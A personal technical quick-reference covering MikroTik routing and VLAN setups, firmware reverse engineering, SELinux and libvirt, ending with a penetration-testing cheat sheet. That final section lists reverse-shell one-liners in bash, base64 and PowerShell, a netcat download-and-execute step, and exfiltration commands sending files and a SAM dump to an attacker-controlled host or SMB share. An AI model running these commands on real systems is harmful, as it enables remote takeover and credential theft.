Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

About

Introduction

Usually documentation (if any) of certain utilities and applications is all over the place and, there is no indication whether certain information has higher priority and is used more often. Furthermore, when you attempt to use the technology, it often fails to work as described under the given conditions.

Because of this I've decided to create this repository to document tested techniques and practical usage examples for different types of technology I come across in a form of quick references.

Structure

  • src/ - mdbook sources (.md)
  • app/ - for applicable code blocks that are too small to create a separate project for, but too big to include into src/

Development

This is very far from being complete: I will be slowly populating this repository with content from my local notes, I have lots of things to share.

All content on this blog is intended solely for educational purposes, research, authorized assessments. The author assumes no responsibility for any misuse of the information provided.

VLAN

frame-types:

# only tagged traffic will be send out (set this on trunk ports) 
# (if you send it on bridge it means that only tagged traffic will be send OUT OF THE TRUNK PORT)
# be carefull setting this because you will not be able to send packets from the router itself out of trunk ports
frame-types=admit-only-vlan-tagged

# only untagged traffic will be send out (set this on access ports)
frame-types=admit-only-untagged-and-priority-tagged

VLAN switching:

# {https://forum.mikrotik.com/viewtopic.php?t=180903}
# add bridge for vlan switching (a single bridge should be used generaly (if multiple bridges are used - bringing will not be able to be hardware-offloaded (i.e. more CPU load)))
/interface/bridge/add name=vlan-br-1 vlan-filtering=yes # WARNING!!! if you're connected to router remotely FIRST OMIT vlan-filtering option, sinse it will break the connection (???)
# priority=0x5000 - possible if you wanna adjust STP (or MSTP/RSTP) priority value (the lower the priority the more chance it'll become the root bridge)
# frame-types=admit-only-vlan-tagged - POSSIBLE, BUT DANGEROUS

# attach physical interface to a virtual bridge interface (trunk). Don't forget to add appropriate bridge VLAN table entries
/interface/bridge/port/add bridge=vlan-br-1 interface=ether1
# frame-types=admit-only-vlan-tagged - POSSIBLE, BUT DANGEROUS (not required)

# attach physical interface to a virtual bridge interface (access). Don't forget to add appropriate bridge VLAN table entries
/interface/bridge/port/add bridge=vlan-br-1 interface=ether2 pvid=20
/interface/bridge/port/add bridge=vlan-br-1 interface=ether3 pvid=30
# frame-types=admit-only-untagged-and-priority-tagged - POSSIBLE, BUT DANGEROUS (not required)

# add a bridge VLAN table entry for each bridge port (if multiple interfaces are connected to ONE VLAN specify them), untagged interfaces are ones that will be linked with a VLAN itself
# and set /ip/dns/set allow-remote-requests=yes
# REPEAT that sequence on each switch that stands in a way
/interface/bridge/vlan/add bridge=vlan-br-1 tagged=ether1,vlan-br-1 untagged=ether2 vlan-ids=20
/interface/bridge/vlan/add bridge=vlan-br-1 tagged=ether1,vlan-br-1 untagged=ether3,ether4 vlan-ids=30

# Add a vlan interface (enable VLAN tagging for a particular VLAN (10) on a specific interface (ether2)) (don't forget to add an address to it and a coresponding entry in a bridge-VLAN table afterwards)
/interface/vlan/add name=vlan-20 vlan-id=20 interface=vlan-br-1
/interface/vlan/add name=vlan-30 vlan-id=30 interface=vlan-br-1
# add upstream address for clients
/ip/address/add address=10.10.20.1/24 interface=vlan-20 # don't forget to write different addresses on second router for VRRP
/ip/address/add address=10.10.30.1/24 interface=vlan-30


# on each router / managed switch that stands in a way enable NAT masquerade
/ip/firewall/nat/add chain=srcnat out-interface=vlan-br-1 action=masquerade


# afterwards you can create a dhcp server (interface=vlanX)
ip/pool/add name=vlan-20-pool ranges=192.168.20.100-192.168.20.200
/ip/dhcp-server/add interface=vlan-20 address-pool=vlan20-pool name=vlan-20-dhcp
/ip/dhcp-server/network/add address=192.168.20.0/24 dns-server=192.168.20.1 gateway=192.168.20.1 netmask=24
ip/pool/add name=vlan-30-pool ranges=192.168.30.100-192.168.30.200
/ip/dhcp-server/add interface=vlan-30 address-pool=vlan30-pool name=vlan-30-dhcp
/ip/dhcp-server/network/add address=192.168.30.0/24 dns-server=192.168.30.1 gateway=192.168.30.1 netmask=24

## if you're configuring VXLAN - clients should already be able to reach each other on both sides of VXLAN
## if you want your routers to be reachable, on both routers assign single-subnet address ON A BRIDGE
# R1
/ip/address/add address=172.16.102.1/24 interface=vlan-br-1
# R2
/ip/address/add address=172.16.102.2/24 interface=vlan-br-1

OPTIONAL: add VRRP

### MIRROR THIS CONFIGURATION ON A SECOND ROUTER, BUT WITH DIFFERENT PRIORITY
/interface vrrp add name=vrrp-m-20 interface=vlan-20 vrid=20 priority=200
/interface vrrp add name=vrrp-m-30 interface=vlan-30 vrid=30 priority=200

# pay attention: addresses should be reachable from clients on VLAN
# This SHOULD be /32 !!!
/ip address add address=192.168.20.3/32 interface=vrrp-m-20
/ip address add address=192.168.30.3/32 interface=vrrp-m-30

/ip/dhcp-server/network/add address=192.168.20.0/24 gateway=192.168.20.3 dns-server=192.168.20.3
/ip/dhcp-server/network/add address=192.168.30.0/24 gateway=192.168.30.3 dns-server=192.168.30.3

OPTIONAL: VLAN isolation

add action=drop chain=forward dst-address=192.168.55.0/27 src-address=192.168.80.0/24

VRRP

  1. vrid is an ID of a VIRTUAL router, each needs to have a unique ID.
  2. authentication=none is default (TODO) non-none values are only supported if version != 3
  3. priority=100 is default (Higher priority wins!)
  4. Upon entering a backup state the IP address assigned to VRRP interface SHOULD become Invalid, this is expected!
#    |----|          |----|  
#    | R1 |          | R2 |
#    |----| ether2   |----|
#       |  \__    __/  | <------ ether1
#       |     \__/     |
#    |----|___/  \___|----|      
#    | S1 |          | S2 |
#    |----|==========|----|


### R2:
# OPT: real iface address:
/ip address add address=192.168.1.1/24 interface=ether1

# can be assigned on VLAN interface (interface=vlan-20)
/interface vrrp add name=vrrp-1 interface=ether1 vrid=1 priority=250
/interface vrrp add name=vrrp-1 interface=ether1 vrid=1 priority=250 authentication=ah password=somepass1 version=2
# OPT: if you have multiple gateways on downstream switches:
/interface vrrp add name=vrrp-2 interface=ether1 vrid=2 priority=240 authentication=ah password=somepass2 version=2
# OPT: if you have multiple downstream nodes interconnected with VRRP routers in mesh for redundancy:
# priorities should be set to higher values on a master router. vrid should be the same on all interfaces that have
# the same VIP address
/interface vrrp add name=vrrp-3 interface=ether2 vrid=1 priority=230 authentication=ah password=somepass1 version=2

# virtual addresses (HAVE TO BE /32):
# you CAN assign multiple ip addresses to a single VRRP interface and single VRID
/ip address add address=192.168.1.101/32 interface=vrrp-1
# OPT: if you have multiple gateways on downstream switches:
/ip address add address=10.10.1.102/32 interface=vrrp-2
# OPT: if you have multiple downstream nodes interconnected with VRRP routers in mesh for redundancy:
/ip address add address=192.168.1.101/32 interface=vrrp-3

VXLAN

### on customer's side you CAN also configure VLANs to separate traffic

### R1 (IP : 10.0.0.1)
/interface vxlan add name=vxlan-vni-102 vni=102
/interface vxlan vteps add interface=vxlan-vni-102 remote-ip=10.0.0.2
/interface/bridge/add name=vxlan-br-102
# ether12 goes to customer's router
/interface/bridge/port/add interface=ether12 bridge=vxlan-br-102
/interface/bridge/port/add interface=vxlan-vni-102 bridge=vxlan-br-102

### R2 (IP : 10.0.0.2)
/interface vxlan add name=vxlan-vni-102 vni=102
/interface vxlan vteps add interface=vxlan-vni-102 remote-ip=10.0.0.1
/interface/bridge/add name=vxlan-br-102
# ether12 goes to customer's router
/interface/bridge/port/add interface=ether12 bridge=vxlan-br-102
/interface/bridge/port/add interface=vxlan-vni-102 bridge=vxlan-br-102

VPLS

Scenario: 2 routers in different locations, 1 customer on both sides wanting a connectivity between these 2 sites.

# R1 (IP : 10.0.0.1)
/interface/bridge/add name=vpls-tun-1
# vpls-id is just a tunnel identifier, usually AS number
# note the X:X format !!!
/interface/vpls/add name=vpls-tun-4-3 vpls-id=1:102 peer=10.0.0.2

## join route-to-customer and vpls-tunnel together using a bridge
#  add vpls tunnel to bridge
/interface/bridge/port/add interface=vpls-tun-4-3 bridge=vpls-tun-1
# add customer-facing interface to a bridge
/interface/bridge/port/add interface=ether4 bridge=vpls-tun-1


# R2 (IP : 10.0.0.2)
/interface/bridge/add name=vpls-tun-1
/interface/vpls/add name=vpls-tun-3-4 vpls-id=1:102 peer=10.0.0.2
/interface/bridge/port/add interface=vpls-tun-4-3 bridge=vpls-tun-1
/interface/bridge/port/add interface=ether4 bridge=vpls-tun-1

# check
/interface/vpls/monitor

Clients now can set an address on upstream interfaces (that're connected to your routers) and communicate with each other on the same subnet (ofc you do NOT need to set any addresses on your routers)

OSPF

  1. seems to not work with LAG in GNS3
  2. To enable the use of BFD for OSPF neighbors, enable use-bfd for required entries in /routing ospf interface-template menu. (see BFD section)
# create a loopback for fault tolerance
/interface/bridge/add name=Lo0

# first assign IP addresses
/ip/address/add interface=Lo0 address=10.0.0.4/32
/ip address add address=192.168.0.3/24 interface=ether1
/ip address add address=192.168.1.3/24 interface=ether2

# router-id 1.0.0.{host-num}. migrate to loopback ???
/routing ospf instance add name=ospfv2-inst version=2 router-id=10.0.0.4
# area-id is usually, 0.0.0.0, 1.1.1.1, 2.2.2.2, etc.
/routing ospf area add name=ospfv2-a0 area-id=0.0.0.0 instance=ospfv2-inst

### if interfaces are not specified ROS will detect automatically!
### use-bfd can be ommited! if it's not - see *BFD for bfd configuration
/routing ospf interface-template add networks=192.168.0.0/24,192.168.1.0/24,10.0.0.4/32 area=ospfv2-a0 interfaces=ether3,bond-9-2,Lo0 use-bfd=yes

# allow ospf traffic (is not needed if no rules are present)
/ip firewall filter add action=accept chain=input protocol=ospf

BFD

# enable BFD on interfaces (you can just use interfaces=all)
# `min-tx/min-rx = 1` means 1 second interval
/routing/bfd/configuration/add interfaces=ether5,ether6,ether7,ether8 min-tx=1 min-rx=1
# then in OSPF/BGP/whatever config set use-bfd=yes on an interface so that it will send BFD hello packets

DoH

# set the cloudflare server ("servers" is to resolve the DoH server itself, use-doh-server is a DoH server address)
/ip/dns/set verify-doh-cert=yes allow-remote-requests=yes doh-max-concurent-queries=100 doh-max-server-connections=20 doh-timeout=6s servers=1.1.1.1,1.0.0.1 use-doh-server=https://cloudflare-dns.com/dns-query

# fetch the downloaded cert chain
/tool/fetch url=http://192.168.60.1:9595/one-one-one-chain.pem
/file/print

/certificate/import file-name=one-one-one-chain.pem
# certificates-imported: 3

UEFI

EFI shell

Installing EFI shell:

### the standard EFI boot binary location is /efi/boot/bootx64.efi
mount /dev/sdb1 /efi && cd /efi
mkdir EFI/boot && cd EFI/boot
wget https://github.com/tianocore/edk2/raw/UDK2018/ShellBinPkg/UefiShell/X64/Shell.efi -O bootx64.efi

Usage:

# show mapping table
map

# set directory to storage device
$DEVICE_NAME:
# e.g.
FS0:

# load an EFI driver
load ./bin.efi

# execute a binary
./path/to/bin

ESP

ESP8266

prepare env

ESP8266 Core pkg

# confirm connected
arduino-cli board list

# update the core package index
arduino-cli core update-index

# initialize config
arduino-cli config init

# add additional board url (repo)
arduino-cli config add board_manager.additional_urls https://arduino.esp8266.com/stable/package_esp8266com_index.json

# update core index
arduino-cli core update-index

# search repos to confirm the newly installed repo is in the list
arduino-cli core search

# install package
arduino-cli core install esp8266:esp8266

# confirm installation
arduino-cli core list

esptool

# display info about the chip, including the flash size
esptool.py --chip esp8266 --port /dev/ttyUSB0 flash_id
# Manufacturer: 68
# Device: 4016
# Detected flash size: 4MB

# dump flash memory from 0 to 4MB to a file called full_flash.bin
esptool.py --chip esp8266 --port /dev/ttyUSB0 read_flash 0x00000 0x400000 full_flash.bin

FW RE

binwalk

# recursive extract
binwalk -Me 01-00000010-U00000010.bin

# attempt to extract each datatype from it's starting address to it's ending address
ls -l _01-00000010-U00000010.bin.extracted

extract Lnux from zImage compressed with LZMA

vmlinux-to-elf

./vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>

mount jffs2, because binwalk is unable to

mount.jffs2

  binwalk -Mqe 01-00000024-U00000024.bin

  cd _01-00000024-U00000024.bin.extracted/_0.extracted

  mkdir jffs2_root

  sudo mount.jffs2 0.jffs2 jffs2_root
  # Sanity check passed...
  # Image 0.jffs2 sucessfully mounted on jffs2_root

  cd jffs2_root && ls
  # bin  cfez.bin  config  lib  Megafon  webroot

unpack android bootimg

android-unpackbootimg

mkdir kernel && unpackbootimg -i 03-00030000-Kernel.bin -o kernel && cd kernel
# Android magic found at: 128
# BOARD_KERNEL_CMDLINE root=/dev/ram0 rw console=ttyAMA0,115200 console=uw_tty0,115200 rdinit=/init loglevel=5 mem=0x9200000
# BOARD_KERNEL_BASE 55e08000
# BOARD_NAME
# BOARD_PAGE_SIZE 2048
# BOARD_HASH_TYPE sha1
# BOARD_KERNEL_OFFSET 00008000
# BOARD_RAMDISK_OFFSET 01000000
# BOARD_SECOND_OFFSET 00f00000
# BOARD_TAGS_OFFSET 00000100

Huawei

balongflash

About Huawei LTE routers

4PDA

AT commands

Crypto

gpg

# generate the key
gpg --full-gen-key

# Signature verification example
gpg --keyserver-options auto-key-retrieve --verify Downloads/archlinux-2023.09.01-x86_64.iso.sig Documents/archlinux-2023.09.01-x86_64.iso

# pass
gpg --full-gen-key
gpg --list-keys
gpg --edit-key user-id                # Edit key

### MESSAGE EXCHANGE
# export public key from a keyring to a file
gpg --output $FILE --export $KEY_UID            # add --armor to export in ASCII
# sign a file with a public key 
gpg --output $OUT_FILE --encrypt --recipient $KEY_UID $FILE

pass

gpg --full-gen-key
pass init $GPG_ID                   # will reencrypt

# Usage
pass ls                             # list passwords
pass insert dir/file                # Insert password
pass -c dir/file                    # Copy password to clipboard
pass edit dir/file                  # Insert other fields
pass generate dir/file $NUM         # Generate password

# change pass dir (should have .gpg-id file)
PASSWORD_STORE_DIR=/mnt/sda1/my/password/storage

LUKS FS within a file

https://www.lpenz.org/articles/luksfile/

dd if=/dev/zero of=cryptfile.img bs=1M count=64
sudo cryptsetup luksFormat cryptfile.img
sudo cryptsetup luksOpen cryptfile.img cryptdev
sudo mkfs.ext4 /dev/mapper/cryptdev
sudo cryptsetup luksClose cryptdev

SELinux

general

# policies are stored under /etc/selinux/$PROFILE/contexts/files/file_contexts, you can just cat this file
semanage fcontext -l | grep http_log_t

# policy modules are stored in dirs such as /var/lib/selinux/targeted/active/modules/400/$MODULE_NAME
# list modules (you'll find default modules, as well as custom (installed with `semodule -i`) here)
semodule -l | grep $MODULE_NAME

Custom pols

if you want to edit the policy, just edit, recompile and install it again.

### generate base policy
mkdir mydaemon_pol && cd mydaemon_pol
# --init is for init daemons, you can substitute --application or any other skeleton there
# it doesn't really matter much because later you'd still need to delete some unnecessary permissions from there
sepolicy generate --init /usr/local/bin/mydaemon
restorecon -v /usr/local/bin/mydaemon

### optionally extend the policy (don't forget to add types to scope)
echo "type var_log_t;" >> mydaemon.te
echo "allow mydaemon_t var_log_t:file { open write getattr };" >> mydaemon.te

### compile and install the policy (mydaemon.PP)
make -f /usr/share/selinux/strict/include/Makefile mydaemon.pp
semodule -i mydaemon.pp

### if you get errors upon module installation use dd to understand an error
sudo semodule -i mymodule.pp
# Bad type declaration at /var/lib/selinux/targeted/tmp/modules/400/mymodule/cil:6
# Failed to build AST
cat mymodule.pp | /usr/libexec/selinux/hll/pp > mymodule.cil
head -6 mymodule.cil
# (type abrt_t)

### if you encounter problems after policy installation check logs
cat /var/log/audit/audit.log | grep SELINUX_ERR
### defining custom application-only file context
# this will create polybar_xdg_config_t type
type polybar_xdg_config_t;
# this will allow base domain (in this case polybar_t) every permission on polybar_xdg_config_t
files_type(polybar_xdg_config_t);

type transition

type_transition initrc_t sshd_exec_t : process sshd_t;
# When an initrc_t process executes a file with context sshd_exec_t, 
# then the resulting process should run in the sshd_t context.

### REQUIREMENTS:
### let's say initrc_t should execute sshd_exec_t and it should transition to sshd_t
# ~ The origin domain (initrc_t) has execute permission on the file (that is labeled sshd_exec_t)
sesearch -s initrc_t -t sshd_exec_t -c file -p execute -A
allow initrc_t sshd_exec_t : file { execute open read };
# ~ The file context itself (sshd_exec_t) is identified as an entry point for the target domain (sshd_t)
sesearch -s sshd_t -t sshd_exec_t -c file -p entrypoint -A
allow sshd_t sshd_exec_t : file entrypoint;
# ~ The origin domain (initrc_t) is allowed to transition to the target domain (sshd_t)
sesearch -s initrc_t -t sshd_t -c process -p transition -A
allow initrc_t sshd_t : process transition;
# ~ The final type (sshd_t) should be within the scope of a role it's 
# being to (e.g. if initrc_t -> system_r), then
seinfo -r system_r -x | grep sshd_t
role system_r type sshd_t # inside the .te
# ~ The binary itself should be of exec type (sshd_exec_t)
ls -laZ /usr/sbin/sshd
semanage fcontext --add --seuser system_u --type sshd_exec_t "/usr/sbin/sshd"
restorecon /usr/sbin/sshd

policy module compilation

### COMPILE CHEAT SHEET
# prerequisites: you have an audit2allow file named $FILE.te (type enforcement) (Note the file extension) (to do that see * audit2allow)
# make sure that the module name inside the file maches the filename

# compile the policy into .mod file
checkmodule -M -m $FILE.te -o $FILE.mod
# package the module file (.mod) into a policy package (.pp)
semodule_package -o $FILE.pp -m $FILE.mod
# install the policy package as a policy module
semodule -i $FILE.pp


# remove policy module by name
semodule -r $MODULE_NAME

audit2allow

### generate allow rules from dmesg output (this will generate .te and .pp files)
# if startup denied logs
dmesg | grep  denied | audit2allow -r -M $MODULE_NAME # MODULE_NAME can be anything
# if system runtime denied logs
grep denied /var/log/audit/audit.log | audit2allow -r -M $MODULE_NAME
# install policy
semodule -i $MODULE_NAME.pp

# you can delete these files afterwards

Add sudo support

id -Z
# staff_u:staff_r:staff_t

newrole -r sysadm_r
# Password: (Enter your password)

id -Z
# staff_u:sysadm_r:sysadm_t
@end
Or using sudo:
@code bash
### /etc/sudoers
%wheel ALL=(ALL) TYPE=sysadm_t ROLE=sysadm_r ALL
# OR to a single user
fuser ALL=(ALL) TYPE=sysadm_t ROLE=sysadm_r ALL

confine existing users

semanage login -a -s staff_u john
restorecon -RvF /home/john

Tips

If /home is mounted on top of the underlying /home directory, in order for the top /home to be mounted with the correct labeling the bottom /home should have the correct label first:

# assuming ls -dZ /home returns system_u:object_r:home_root_t:s0
mkdir /mnt/test

mount --bind / /mnt/test
chcon system_u:object_t:home_root_t:s0 /mnt/test/home

umount /mnt/test
rmdir /mnt/test

Libvirt/QEMU

QEMU

disk creation

# Emulated disk space management (also can shrink, resize an image or store overlay images (see arch-wiki))
qemu-img create -f raw image_file 4G              # Create a raw disk space (`-f qcow2` to utilize dinamically-allocated format)
qemu-img resize disk_image +10G                   # Resize an image (if contains NTFS backup it first)
qemu-img convert -f raw -O qcow2 -o nocow=on input.iso output.qcow2  # specify -o nocow=on if you use btrfs

windows

#!/bin/sh

# sudo qemu-system-x86_64 -drive file=win2016-cli.qcow2,format=qcow2 -m 2G -cpu host -enable-kvm -nic user -vga qxl -spice port=5925,disable-ticketing=on -usbdevice tablet -daemonize


SPICE_PORT=5924
qemu-system-x86_64 -enable-kvm -daemonize \
    -cpu host \
    -drive file=win10-gui.qcow2,if=virtio \
    -nic user \
    -m 8G \
    -bios /usr/share/edk2-ovmf/OVMF_CODE.fd. \
    -vga qxl \
    -spice port=${SPICE_PORT},disable-ticketing=on \
    -usbdevice tablet \
    -device virtio-serial \
    -chardev spicevmc,id=vdagent,name=vdagent \
    -device virtserialport,chardev=vdagent,name=com.redhat.spice.0 \
    "$@"
exec spicy --title Windows 127.0.0.1 -p ${SPICE_PORT}

# drive: aio=native,cache.direct=on
# cpu:   hv_relaxed,hv_spinlocks=0x1fff,hv_vapic,hv_time
# -net nic -net user,hostname=windowsvm    --->  -nic user

Libvirt

Prerequisites

usermod -aG libvirt myuser

rc-service libvirtd start
# OR 
systemctl start libvirtd

virt-install

# define domain from iso (create a qcow2 image first)
qemu-img create -f qcow2 debian-1.qcow2 10G
virt-install --name debian-test-2 --memory 1000 --vcpus 2 --osinfo debian12 --disk path=./debian12-1.qcow2,format=qcow2 --cdrom ~/Downloads/debian-12.5.0-amd64-netinst.iso --network network=default

# import an already existing qcow2 image
virt-install --name debian-test-2 --memory 1000 --vcpus 2 --osinfo debian12 --disk path=./debian12-1.qcow2,format=qcow2 --import

# query all available osinfo types
virt-install --osinfo list

MT-CHR installation

# unarchive
unzip ~/Downloads/chr-7.16.1.vmdk.zip
# convert to qcow2
qemu-img convert -f vmdk -O qcow2 chr-7.16.1.vmdk chr-7.16.1.qcow2
# boot from it (note the --import parameter, this tells qemu to use --disk as a boot drive)
virt-install --name=mt-chr-1 --vcpus=1 --memory=512 --disk path=./chr-7.16.1.qcow2,format=qcow2 --network=network:suricata_sniff --osinfo debian12 --import

resize qcow2 partition

virt-resize --expand /dev/sda4 fcos-1.qcow2 fcos-2.qcow2

emulator does not support machine type error

qemu-system-x86_64 -machine help
# find your machine type in there, if it's not present find the latest 
# and then edit xml to change the machine type
virsh edit Windows-10-Desktop-2
# change the value under <type machine="XXX"> to either the one listed under `-machine help`

change pool location

virsh shutdown my-vm-name
rsync -a /var/lib/libvirt/images/my-vm-name /var/lib/libvirt/new-dir/
virsh edit my-vm-name
(within edit window)--> :s/\/var\/lib\/libvirt\/images/\/var\/lib\/libvirt\/new-dir/g
virsh start my-vm-name

delete domain completely

virsh destroy _domain-id_
virsh undefine _domain-id_

virsh vol-list --pool k8s_lab
# Name                                              Path
# ----------------------------------------------------------------------------------------------------------------------------
# coreos-1                                          /home/spil/virt/k8s_lab/coreos-1
# fedora-coreos-41.20250105.3.0-qemu.x86_64.qcow2   /home/spil/virt/k8s_lab/fedora-coreos-41.20250105.3.0-qemu.x86_64.qcow2
virsh vol-delete --pool vg0 _domain-id_.img

virsh start permission denied error

sudo usermod -a -G kvm myusername

### /etc/libvirt/qemu.conf
user = "myusername"
group = "kvm"

fix NAT issues (nftables)

cat /etc/default/ufw | grep DEFAULT_FORWARD_POLICY
# DEFAULT_FORWARD_POLICY="DROP" -------> ACCEPT
DEFAULT_FORWARD_POLICY="ACCEPT"

ufw reload
sudo grep 'firewall_backend' /etc/libvirt/network.conf
# firewall_backend = "nftables"

# 1) attempt to purge nftables ruleset
sudo nft flush ruleset

# 2.1) ensure firewalld (or whatever frontend you are using) repopulates nft ruleset
sudo systemctl restart firewalld
# 2.2) ensure libvirtd is started before libvirt_network is started
sudo systemctl restart libvirtd

# 3) ensure nftables ruleset is repopulated by firewalld
sudo nft list ruleset

# 4) ensure kernel forwarding is enabled
sysctl net.ipv4.ip_forward
# net.ipv4.ip_forward = 1

# 5) start all necessary resources
virsh net-start --network default
virsh start debian-tmp-1
virsh console --domain debian-tmp-1
# ping 1.1.1.1

fix libvirt dnsmasq address already in use issue

sudo rc-update del dnsmasq
sudo rc-service dnsmasq stop

OR

# make dnsmasq listen on specific interface
interface=eth0
# OR make dnsmasq listen on specific address
listen-address=192.168.0.1

# AND uncomment this line
bind-interfaces

get dnsmasq definitions for the vnet

sudo ls -la /var/lib/libvirt/dnsmasq/fcos*
# -rw-r--r--. 1 root root 104 Jul 22 18:30 /var/lib/libvirt/dnsmasq/fcos_k8s_lab.addnhosts
# -rw-------. 1 root root 673 Jul 22 18:29 /var/lib/libvirt/dnsmasq/fcos_k8s_lab.conf
# -rw-r--r--. 1 root root 172 Jul 22 18:30 /var/lib/libvirt/dnsmasq/fcos_k8s_lab.hostsfile

rename a domain

virsh dumpxml $DOMAIN > $SOMEFILE.xml
virsh undefine $DOMAIN
vim $DOMAIN.xml
virsh define $DOMAIN.xml
virsh destroy $DOMAIN
virsh start $DOMAIN

allocate memory to a domain

virsh destroy $DOMAIN
virsh setmaxmem $DOMAIN 3G --config
virsh setmem $DOMAIN 3G --config
virsh start $DOMAIN

allocate vcpu to a domain

virsh setvcpus $DOMAIN 3 --config --maximum
virsh setvcpus $DOMAIN 3 --config

create an isolated network

<network>
  <name>fcos_k8s_lab</name>
  <uuid>280c4dd6-e5e4-478b-aa71-6d7aaa326eae</uuid>
  <forward mode='nat'/>
  <bridge name='k8sbr0' stp='on' delay='0'/>
  <mac address='52:54:00:fd:d7:c7'/>
  <domain name='k8s.local'/>
  <dns enable='yes'>
    <forwarder addr='1.1.1.1'/>
  </dns>
  <ip family='ipv4' address='192.168.122.1' prefix='24'>
    <dhcp>
      <range start='192.168.122.2' end='192.168.122.254'/>
      <!-- <host mac='50:73:0F:31:81:E1' name='coreos01' ip='192.168.122.101'/> -->
      <!-- <host mac='50:73:0F:31:81:E2' name='coreos02' ip='192.168.122.102'/> -->
      <!-- <host mac='50:73:0F:31:81:F1' name='coreos03' ip='192.168.122.103'/> -->
      <!-- <host mac='50:73:0F:31:81:F2' name='coreos04' ip='192.168.122.104'/> -->
    </dhcp>
  </ip>
</network>

attach multiple interfaces to 1 host

### ATTACH A BRIDGE TO HOST/ANOTHER VM
# this will create the corresponding virtual NIC on a VM
# get rid of --persistent if you just want a temporary interface
# virbr15 is the VNI for the network you wanna attach. You can create it manually using `ip`
virsh attach-interface --type bridge --source virbr15 --model virtio --domain mt-chr-1 --persistent

### ATTACH TO A NETWORK
# this network needs to be created with libvirt as a 'network'
virsh attach-interface --type network --source ad_lab --model virtio --domain mt-chr-1 --persistent

basic network definition template

<network>
  <name>advenv_net</name>
<!-- ensure UUID is valid -->
  <uuid>dcd932a5-6ba1-4d46-b56e-2c7ec8722e58</uuid>
  <forward mode='nat'/>
<!-- this bridge interface will be created automatically by libvirt  -->
<!-- and all virtual tap/tun VM's interfaces will be attached to it also automatically -->
  <bridge name='virbr1' stp='on' delay='0'/>
<!-- ensure MAC is valid -->
  <mac address='52:54:00:ff:a0:64'/>
  <domain name='advenv.local'/>
  <dns enable='no'/>
<!-- CIDR for a bridge interface -->
  <ip family='ipv4' address='10.0.100.1' prefix='24'>
<!-- DHCP rules -->
    <dhcp>
      <range start='10.0.100.2' end='10.0.100.254'/>
<!-- host mapping is OPTIONAL -->
      <host mac='52:54:00:52:D8:3A' name='dc-2' ip='10.0.100.2'/>
      <host mac='b0:ee:79:6d:50:3f' name='debian1' ip='10.0.100.15'/>
      <host mac='aa:df:3a:fe:eb:a4' name='debian2' ip='10.0.100.20'/>
    </dhcp>
  </ip>
</network>

Data Exchange

Rev shells

# listen
socat TCP-LISTEN:9595 STDOUT

### BASH
# general (&> for STDOUT+STDERR redirection; 0>&1 for duplicate STDIN from STDOUT)
### IP FILE DESCRIPTOR WILL NOT WORK WITHOUT bash -c WRAPPER
bash -c 'bash -i &> /dev/tcp/$LHOST/$LPORT 0>&1'    # bash -c 'bash -i >& /dev/tcp/10.10.16.51/9595 0>&1'

# base64 (allows the absence of quotes) (MAY NOT WORK IF TESTED FROM A SHELL, BUT SHOULD WORK WITHIN PROCESSORS LIKE JAVA's runtime.exec())
bash -c {echo,$BASE64_ENCODED_STRING}|{base64,-d}|{bash,-i}
# base64
bash -c 'echo $BASE64_ENCODED_STRING|base64 -d|bash -i'
echo $BASE64_ENCODED_STRING|base64 -d|bash -i

# use this one for raw command execution
echo YmFzaCAgLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIzLzk1OTUgMD4mMSIK | base64 -d | bash

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell -EncodedCommand $REGULAR_BASE64_ENCODED_PAYLOADED_CAN_BE_WITHOUT_QUOTES
powershell -e $SAME_AS_ABOVE

# with nc
curl $IP:$PORT/$PATH -o nc.exe
nc.exe $LHOST $LPORT -e cmd.exe

exfil

### BASE64 (if the target machine has base64)
# base64 encode the file and decode it on target machine
cat $FILE | base64 --wrap=0          # to one-line encode
echo -n $B64STRING | base64 --decode # echo without newline

echo -ne $HEX_STRING > $FILE         # interpret /xHH characters as hex

cat > $FILENAME << EOF
I am string 1
I am string 2
EOF


### send via bash redirection (receive via `socat TCP-LISTEN:9595 STDOUT`)
bash -c 'cat example.txt | base64 -w 0 &> /dev/tcp/RHOST/RPORT'
socat TCP-LISTEN:9595,reuseaddr,fork OPEN:database.db,creat,append
cat database.db | base64 --decode | tee -a database.db.decoded

Note that executing raw-sent files can fail easily because of .so version mismatch. If transfering raw executables to unix boxes make sure to compile for the correct GLIBC version.

Exfil from win

# host
impacket-smbserver -smb2support coolshare ./

# windows
cp ./winpeas.out \\10.10.16.5\coolshare\

Sending data via pwsh

pwsh >= 5:

$b = New-PSSession B
Copy-Item -FromSession $b C:\Programs\temp\test.txt -Destination C:\Programs\temp\test.txt

pwsh == *:

send_file_tcp.ps1

impacket-smbserver

### EXAMPLE 1
# host
sudo impacket-smbserver -smb2support MyCoolShare ./
# remote machine
*Evil-WinRM* PS C:\tmp> copy-item -path ./SAM_DUMP -destination \\10.10.16.7\MyCoolShare\sam_dump


### EXAMPLE 2
impacket-smbserver $FULL_PATH -smb2support -user $USERNAME -password $PASSWD
# sudo ./.local/bin/smbserver.py -smb2support -user fuser -password fuser share .


### EXAMPLE 3
# host
impacket-smbserver [SERVER_NAME] [FULL_PATH_TO_SHARE] -smb2support -user [USERNAME] -password [PASSWD]

# remote machine
$pass = convertto-securestring '[PASSWD]' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('[USERNAME]', $pass)
New-PSDrive -Name [DRIVE_NAME] -PSProvider FileSystem -Credential $cred -Root \[REMOTE_HOST]\[SERVER_NAME]
cd [SERVER_NAME]:\

impacket-smbclient

./smbclient.py fuser:fuser@127.0.0.1

ls Machine\Scripts\*       # list content of directory

shares                     # list shares
use $SHARE                 # use a share

get $FILE                  # download file
mget *                     # download everything from current directory

win SMB

##################
### POWERSHELL ###
##################
### CREATION
# creates an smb share and grants "Finance Users" and "HR Users" write access.
